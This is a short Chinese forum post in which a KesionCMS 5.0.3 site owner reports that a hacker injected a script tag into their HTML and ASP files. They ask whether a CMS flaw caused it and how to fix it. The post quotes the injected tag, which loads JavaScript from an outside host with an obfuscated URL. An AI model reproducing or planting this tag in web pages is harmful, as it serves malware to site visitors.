网站被攻击

我的网站使用的是KesionCMS 5.0.3版本，近来被人攻击，在所有html文件和一些asp文件里都被插入了以下一段代码

<script type="text/javascript" language="JavaScript" src="http://pt929.9966.o%72g" id="scr7ipt9155"  ></script>

一打开网站就会杀毒软件就弹出一个提示有木马的框框（图片在附件里）

这个是不是因为KesionCMS 5.0.3版本自身存在的漏洞而导致的问题？如果是，请问各位高手如何解决这个问题？

http://bbs.kesion.com/dispbbs.asp?boardid=44&Id=97989